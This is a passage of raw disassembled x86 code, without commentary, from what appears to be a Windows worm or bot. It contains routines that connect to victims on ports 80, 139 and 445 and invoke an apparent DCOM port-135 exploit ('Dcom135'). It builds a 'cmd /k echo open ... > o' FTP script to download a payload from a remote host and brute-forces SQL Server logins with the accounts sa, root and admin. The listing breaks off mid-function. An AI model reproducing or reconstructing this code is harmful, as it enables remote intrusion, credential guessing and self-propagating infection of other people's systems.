[ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40407A lea ecx, [ebp+var_8] call sub_403F12 pop esi loc_404429: ; CODE XREF: sub_4040E5+1Bj ; sub_4040E5+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_4040E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40443B proc near ; CODE XREF: sub_4044FF+A2p ; sub_4044FF+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4211D4 ; select cmp eax, edi jnz short loc_4044A2 lea eax, [ebp+var_10C] push eax push esi call sub_420A06 ; __WSAFDIsSet test eax, eax jnz short loc_4044A6 loc_4044A2: ; CODE XREF: sub_40443B+54j xor eax, eax jmp short loc_4044B6 ; --------------------------------------------------------------------------- loc_4044A6: ; CODE XREF: sub_40443B+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43C56C ; recv loc_4044B6: ; CODE XREF: sub_40443B+69j pop edi pop esi leave retn sub_40443B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044BA proc near ; CODE XREF: sub_4044FF+80p ; sub_4044FF+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43C550 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43C5A4 ; send cmp eax, 4 jz short loc_4044E4 xor al, al leave retn ; --------------------------------------------------------------------------- loc_4044E4: ; CODE XREF: sub_4044BA+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43C5A4 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_4044BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044FF proc near ; CODE XREF: sub_4045DE+48p ; seg001:00404A4Dp var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_415BE9 mov esi, eax pop ecx test esi, esi jnz short loc_404528 xor al, al jmp loc_4045D9 ; --------------------------------------------------------------------------- loc_404528: ; CODE XREF: sub_4044FF+20j push ebx push 0 push esi call sub_415390 push 2Fh push offset dword_426178 push esi call sub_4153F0 push 8 lea eax, [esi+31h] push offset dword_4261A8 push eax mov [esi+2Fh], di call sub_4153F0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4153F0 push 6 add ebx, edi push offset dword_43B190 push ebx call sub_4153F0 push 85h push offset dword_4260F0 push [ebp+arg_0] call sub_4044BA add esp, 48h test al, al jnz short loc_40458F loc_40458B: ; CODE XREF: sub_4044FF+B8j xor bl, bl jmp short loc_4045D0 ; --------------------------------------------------------------------------- loc_40458F: ; CODE XREF: sub_4044FF+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40443B push [ebp+var_4] push esi push [ebp+arg_0] call sub_4044BA add esp, 1Ch test al, al jz short loc_40458B push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40443B add esp, 10h mov bl, 1 loc_4045D0: ; CODE XREF: sub_4044FF+8Ej push esi call sub_415C9B pop ecx mov al, bl loc_4045D9: ; CODE XREF: sub_4044FF+24j pop edi pop esi pop ebx leave retn sub_4044FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045DE proc near ; CODE XREF: seg001:00404A33p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_4261B8 push [ebp+arg_0] call dword_4211F0 ; send cmp eax, 48h jnz short loc_404619 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40443B add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_404619 cmp [ebp+var_20], 82h jz short loc_40461D loc_404619: ; CODE XREF: sub_4045DE+1Bj ; sub_4045DE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045DE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4044FF add esp, 0Ch leave retn sub_4045DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404630 proc near ; CODE XREF: sub_40467C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_421248 call sub_415E24 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_421240 fstp [esp+10h+var_10] call sub_415D04 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_415E24 inc eax leave retn sub_404630 endp ; =============== S U B R O U T I N E ======================================= sub_40467C proc near ; CODE XREF: sub_40481B+24p var_40 = qword ptr -40h mov eax, offset loc_420B63 call sub_4162F0 sub esp, 2Ch push ebx push esi push edi xor edi, edi mov [ebp-20h], edi mov al, [ebp+13h] push edi lea ecx, [ebp-38h] mov [ebp-38h], al call sub_404CE4 push dword ptr [ebp+10h] xor ebx, ebx inc ebx mov [ebp-4], ebx call sub_404630 cmp [ebp-2Ch], eax pop ecx jnb short loc_4046BE push edi push eax lea ecx, [ebp-38h] call sub_404C5E loc_4046BE: ; CODE XREF: sub_40467C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_4047DC mov ebx, [ebp+10h] loc_4046CD: ; CODE XREF: sub_40467C+157j cmp dword ptr [ebp+10h], 3 jb short loc_4046D8 push 3 loc_4046D5: ; CODE XREF: sub_40467C+64j pop ebx jmp short loc_4046EB ; --------------------------------------------------------------------------- loc_4046D8: ; CODE XREF: sub_40467C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_4046E2 push 2 jmp short loc_4046D5 ; --------------------------------------------------------------------------- loc_4046E2: ; CODE XREF: sub_40467C+60j cmp dword ptr [ebp+10h], 1 jnz short loc_4046EB xor ebx, ebx inc ebx loc_4046EB: ; CODE XREF: sub_40467C+5Aj ; sub_40467C+6Aj mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_421250 fstp [esp+40h+var_40] call sub_415E4B pop ecx pop ecx call sub_415E24 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40472A mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40472A: ; CODE XREF: sub_40467C+94j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_404798 add [ebp-18h], eax loc_40477C: ; CODE XREF: sub_40467C+11Aj movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_426208[eax] push eax push 1 call sub_404ADF inc esi cmp esi, [ebp-1Ch] jb short loc_40477C loc_404798: ; CODE XREF: sub_40467C+FBj cmp dword ptr [ebp-18h], 48h jb short loc_4047B6 push dword ptr [ebp+14h] call sub_415B10 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_404B39 mov [ebp-18h], edi loc_4047B6: ; CODE XREF: sub_40467C+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4047D0 sub esi, [ebp-1Ch] loc_4047C1: ; CODE XREF: sub_40467C+152j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404ADF dec esi jnz short loc_4047C1 loc_4047D0: ; CODE XREF: sub_40467C+140j cmp [ebp+10h], edi ja loc_4046CD xor ebx, ebx inc ebx loc_4047DC: ; CODE XREF: sub_40467C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404CE4 push 0FFFFFFFFh lea eax, [ebp-38h] push edi push eax mov ecx, esi call sub_404B91 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404CE4 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40467C endp ; =============== S U B R O U T I N E ======================================= sub_40481B proc near ; CODE XREF: seg001:00404A16p mov eax, offset loc_420B80 call sub_4162F0 sub esp, 10h push ebx push esi push edi push offset byte_43B188 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40467C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_415BE9 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_404865 xor bl, bl jmp short loc_4048A9 ; --------------------------------------------------------------------------- loc_404865: ; CODE XREF: sub_40481B+44j mov ecx, [ebp-18h] mov eax, offset dword_421258 cmp ecx, ebx jnz short loc_404873 mov ecx, eax loc_404873: ; CODE XREF: sub_40481B+54j cmp [ebp+18h], ebx jz short loc_40487B mov eax, [ebp+18h] loc_40487B: ; CODE XREF: sub_40481B+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41588A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43C5A4 ; send cmp eax, esi jz short loc_4048A0 xor bl, bl jmp short loc_4048A2 ; --------------------------------------------------------------------------- loc_4048A0: ; CODE XREF: sub_40481B+7Fj mov bl, 1 loc_4048A2: ; CODE XREF: sub_40481B+83j push edi call sub_415C9B pop ecx loc_4048A9: ; CODE XREF: sub_40481B+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404CE4 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404CE4 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40481B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 620h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_4263B8 push eax call sub_4153F0 add esp, 0Ch mov eax, offset byte_42C2BC push eax push eax push dword_43B1A0 push dword ptr [ebp+8] call sub_40A08A pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41588A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_426250 push eax call sub_4040E5 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_404972 xor eax, eax jmp loc_404AD2 ; --------------------------------------------------------------------------- loc_404972: ; CODE XREF: seg001:00404969j mov [ebp-0Ch], esi loc_404975: ; CODE XREF: seg001:00404A75j test esi, esi jnz loc_404A7B push 6 push 1 push 2 call dword_4211E4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_404A63 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43C554 ; ntohs mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43C594 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jz loc_404A58 cmp dword ptr [ebp+0A8h], 50h jnz short loc_404A20 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404CE4 lea eax, [ebp+0Ch] push eax call sub_415B10 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_404D1C push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40481B add esp, 1Ch jmp short loc_404A55 ; --------------------------------------------------------------------------- loc_404A20: ; CODE XREF: seg001:004049DEj cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_404A3A push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4045DE jmp short loc_404A52 ; --------------------------------------------------------------------------- loc_404A3A: ; CODE XREF: seg001:00404A2Aj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404A58 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4044FF loc_404A52: ; CODE XREF: seg001:00404A38j add esp, 0Ch loc_404A55: ; CODE XREF: seg001:00404A1Ej movzx esi, al loc_404A58: ; CODE XREF: seg001:004049D1j ; seg001:00404A44j push ebx call dword_43C5EC ; closesocket test esi, esi jnz short loc_404A6E loc_404A63: ; CODE XREF: seg001:0040498Ej push 3E8h call dword_421060 ; Sleep loc_404A6E: ; CODE XREF: seg001:00404A61j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_404975 loc_404A7B: ; CODE XREF: seg001:00404977j lea ecx, [ebp-8] call sub_403F12 test esi, esi jz short loc_404AD0 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset dword_42647C lea eax, [ebp-620h] push 200h push eax call sub_41588A lea eax, [ebp-620h] push eax call sub_40B078 mov eax, [ebp+0B0h] add esp, 18h imul eax, 3Ch lea eax, dword_427390[eax] inc dword ptr [eax] loc_404AD0: ; CODE XREF: seg001:00404A85j mov eax, esi loc_404AD2: ; CODE XREF: seg001:0040496Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_420B44 loc_404AD7: ; CODE XREF: sub_420B44+3j ; seg001:00420B5Dj ... push 1 call sub_404CE4 retn ; END OF FUNCTION CHUNK FOR sub_420B44 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404ADF proc near ; CODE XREF: sub_40467C+111p ; sub_40467C+14Cp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_404AF6 call sub_4206B0 loc_404AF6: ; CODE XREF: sub_404ADF+10j cmp [ebp+arg_0], 0 jbe short loc_404B31 mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_404C5E test al, al jz short loc_404B31 movsx eax, [ebp+arg_4] push [ebp+arg_0] push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_415390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_404B31: ; CODE XREF: sub_404ADF+1Bj ; sub_404ADF+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_404ADF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B39 proc near ; CODE XREF: sub_40467C+132p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_404B50 call sub_4206B0 loc_404B50: ; CODE XREF: sub_404B39+10j cmp [ebp+arg_4], 0 jbe short loc_404B89 mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_404C5E test al, al jz short loc_404B89 push [ebp+arg_4] mov eax, [esi+8] add eax, [esi+4] push [ebp+arg_0] push eax call sub_4153F0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_404B89: ; CODE XREF: sub_404B39+1Bj ; sub_404B39+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_404B39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B91 proc near ; CODE XREF: sub_40467C+179p ; sub_42070A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_404BA9 call sub_4208DC loc_404BA9: ; CODE XREF: sub_404B91+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_404BBB mov esi, [ebp+arg_8] loc_404BBB: ; CODE XREF: sub_404B91+25j cmp edi, ebx jnz short loc_404BD9 add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_404D51 push [ebp+arg_4] mov ecx, edi push 0 call sub_404D51 jmp short loc_404C55 ; --------------------------------------------------------------------------- loc_404BD9: ; CODE XREF: sub_404B91+2Cj test esi, esi jbe short loc_404C1C cmp esi, eax jnz short loc_404C1C mov eax, [ebx+4] test eax, eax jnz short loc_404BED mov eax, offset dword_421258 loc_404BED: ; CODE XREF: sub_404B91+55j cmp byte ptr [eax-1], 0FEh jnb short loc_404C1C push 1 mov ecx, edi call sub_404CE4 mov eax, [ebx+4] test eax, eax jnz short loc_404C08 mov eax, offset dword_421258 loc_404C08: ; CODE XREF: sub_404B91+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_404C55 ; --------------------------------------------------------------------------- loc_404C1C: ; CODE XREF: sub_404B91+4Aj ; sub_404B91+4Ej ... push 1 push esi mov ecx, edi call sub_404C5E test al, al jz short loc_404C55 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_404C39 mov eax, offset dword_421258 loc_404C39: ; CODE XREF: sub_404B91+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_4153F0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404C55: ; CODE XREF: sub_404B91+46j ; sub_404B91+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404B91 endp ; =============== S U B R O U T I N E ======================================= sub_404C5E proc near ; CODE XREF: sub_40467C+3Dp ; sub_404ADF+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_404C70 call sub_4206B0 loc_404C70: ; CODE XREF: sub_404C5E+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_404C98 mov cl, [eax-1] cmp cl, dl jz short loc_404C98 cmp cl, 0FFh jz short loc_404C98 cmp edi, edx mov ecx, esi jnz short loc_404CD7 dec byte ptr [eax-1] push edx loc_404C8F: ; CODE XREF: sub_404C5E+48j call sub_404CE4 loc_404C94: ; CODE XREF: sub_404C5E+4Cj ; sub_404C5E+53j xor al, al jmp short loc_404CDF ; --------------------------------------------------------------------------- loc_404C98: ; CODE XREF: sub_404C5E+19j ; sub_404C5E+20j ... cmp edi, edx jnz short loc_404CB3 cmp [esp+8+arg_4], dl jz short loc_404CA8 push 1 mov ecx, esi jmp short loc_404C8F ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_404C5E+42j cmp eax, edx jz short loc_404C94 mov [esi+8], edx mov [eax], dl jmp short loc_404C94 ; --------------------------------------------------------------------------- loc_404CB3: ; CODE XREF: sub_404C5E+3Cj cmp [esp+8+arg_4], dl jz short loc_404CD0 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404CC5 cmp eax, edi jnb short loc_404CDD loc_404CC5: ; CODE XREF: sub_404C5E+61j push 1 mov ecx, esi call sub_404CE4 jmp short loc_404CD5 ; --------------------------------------------------------------------------- loc_404CD0: ; CODE XREF: sub_404C5E+59j cmp [esi+0Ch], edi jnb short loc_404CDD loc_404CD5: ; CODE XREF: sub_404C5E+70j mov ecx, esi loc_404CD7: ; CODE XREF: sub_404C5E+2Bj push edi call sub_404DB8 loc_404CDD: ; CODE XREF: sub_404C5E+65j ; sub_404C5E+75j mov al, 1 loc_404CDF: ; CODE XREF: sub_404C5E+38j pop edi pop esi retn 8 sub_404C5E endp ; =============== S U B R O U T I N E ======================================= sub_404CE4 proc near ; CODE XREF: sub_40467C+1Fp ; sub_40467C+16Bp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404D0C mov eax, [esi+4] test eax, eax jz short loc_404D0C dec eax mov cl, [eax] test cl, cl jz short loc_404D05 cmp cl, 0FFh jz short loc_404D05 dec byte ptr [eax] jmp short loc_404D0C ; --------------------------------------------------------------------------- loc_404D05: ; CODE XREF: sub_404CE4+16j ; sub_404CE4+1Bj push eax call sub_41630F pop ecx loc_404D0C: ; CODE XREF: sub_404CE4+8j ; sub_404CE4+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404CE4 endp ; =============== S U B R O U T I N E ======================================= sub_404D1C proc near ; CODE XREF: seg001:00404A0Ap ; sub_404E75+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_404C5E test al, al jz short loc_404D4A push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_4153F0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_404D4A: ; CODE XREF: sub_404D1C+12j mov eax, esi pop edi pop esi retn 8 sub_404D1C endp ; =============== S U B R O U T I N E ======================================= sub_404D51 proc near ; CODE XREF: sub_404B91+35p ; sub_404B91+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_404D64 call sub_4208DC loc_404D64: ; CODE XREF: sub_404D51+Cj mov ecx, edi call sub_404E75 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404D7A mov ebx, eax loc_404D7A: ; CODE XREF: sub_404D51+25j test ebx, ebx jbe short loc_404DB0 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_416320 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_404C5E test al, al jz short loc_404DB0 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404DB0: ; CODE XREF: sub_404D51+2Bj ; sub_404D51+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_404D51 endp ; =============== S U B R O U T I N E ======================================= sub_404DB8 proc near ; CODE XREF: sub_404C5E+7Ap mov eax, offset loc_420B8C call sub_4162F0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404DDE mov edi, [ebp+8] loc_404DDE: ; CODE XREF: sub_404DB8+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404DEB xor eax, eax loc_404DEB: ; CODE XREF: sub_404DB8+2Fj push eax call sub_416655 pop ecx mov [ebp+8], eax jmp short loc_404E1C ; --------------------------------------------------------------------------- loc_404DF7: ; DATA XREF: seg001:00421F04o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_404E06 xor eax, eax loc_404E06: ; CODE XREF: sub_404DB8+4Aj push eax call sub_416655 mov [ebp+8], eax pop ecx mov eax, offset loc_404E16 retn ; --------------------------------------------------------------------------- loc_404E16: ; DATA XREF: sub_404DB8+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_404E1C: ; CODE XREF: sub_404DB8+3Dj mov eax, [esi+8] test eax, eax jbe short loc_404E3A cmp eax, edi jbe short loc_404E29 mov eax, edi loc_404E29: ; CODE XREF: sub_404DB8+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_4153F0 add esp, 0Ch loc_404E3A: ; CODE XREF: sub_404DB8+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404CE4 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_404E5A mov edi, ebx loc_404E5A: ; CODE XREF: sub_404DB8+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_404DB8 endp ; =============== S U B R O U T I N E ======================================= sub_404E75 proc near ; CODE XREF: sub_404D51+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404EA2 mov al, [esi-1] test al, al jz short loc_404EA2 cmp al, 0FFh jz short loc_404EA2 push 1 call sub_404CE4 push esi call sub_415B10 pop ecx push eax push esi mov ecx, edi call sub_404D1C loc_404EA2: ; CODE XREF: sub_404E75+9j ; sub_404E75+10j ... pop edi pop esi retn sub_404E75 endp ; =============== S U B R O U T I N E ======================================= sub_404EA5 proc near ; DATA XREF: seg001:00423008o test byte_46B924, 1 jnz short loc_404EB5 or byte_46B924, 1 loc_404EB5: ; CODE XREF: sub_404EA5+7j jmp $+5 push offset nullsub_1 call sub_4166D0 pop ecx retn sub_404EA5 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404EC7 proc near ; CODE XREF: seg001:00405120p var_E2C = byte ptr -0E2Ch var_A2C = byte ptr -0A2Ch var_62C = byte ptr -62Ch var_22C = byte ptr -22Ch var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp sub esp, 0E2Ch mov al, byte_43B188 push esi mov [ebp+var_1], al lea eax, [ebp+var_14] xor esi, esi push eax push esi push 1 mov [ebp+var_2C], offset aSa ; "sa" mov [ebp+var_28], offset aRoot ; "root" mov [ebp+var_24], offset aAdmin ; "admin" mov [ebp+var_20], esi mov [ebp+var_18], esi mov [ebp+var_10], esi mov [ebp+var_8], esi call dword_43C4D8 test ax, ax jnz short loc_404F25 push 0FFFFFFFAh push 3 push 0C8h push [ebp+var_14] call dword_43C5DC test ax, ax jz short loc_404F2C loc_404F25: ; CODE XREF: sub_404EC7+45j xor eax, eax jmp loc_4050FC ; --------------------------------------------------------------------------- loc_404F2C: ; CODE XREF: sub_404EC7+5Cj lea eax, [ebp+var_10] push eax push [ebp+var_14] push 2 call dword_43C4D8 test ax, ax jnz loc_4050EF push ebx lea eax, [ebp+var_2C] push edi mov edi, dword_421060 mov [ebp+var_C], eax mov ebx, offset byte_42C2BC loc_404F57: ; CODE XREF: sub_404EC7+1C4j cmp off_42C438, esi jz loc_405082 mov eax, offset off_42C438 mov esi, eax loc_404F6A: ; CODE XREF: sub_404EC7+118j lea ecx, [ebp+var_1] push ecx push dword ptr [eax] mov eax, [ebp+var_C] push dword ptr [eax] lea eax, [ebp+arg_4] push [ebp+arg_A0] push eax lea eax, [ebp+var_A2C] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_415316 add esp, 1Ch lea eax, [ebp+var_1A] push 0 push eax lea eax, [ebp+var_E2C] push 400h push eax lea eax, [ebp+var_A2C] push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_A2C] push eax push 0 push [ebp+var_10] call dword_43C590 test ax, ax jz short loc_404FE6 cmp ax, 1 jz short loc_404FE6 push 1F4h call edi ; Sleep add esi, 4 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_404F6A jmp loc_405080 ; --------------------------------------------------------------------------- loc_404FE6: ; CODE XREF: 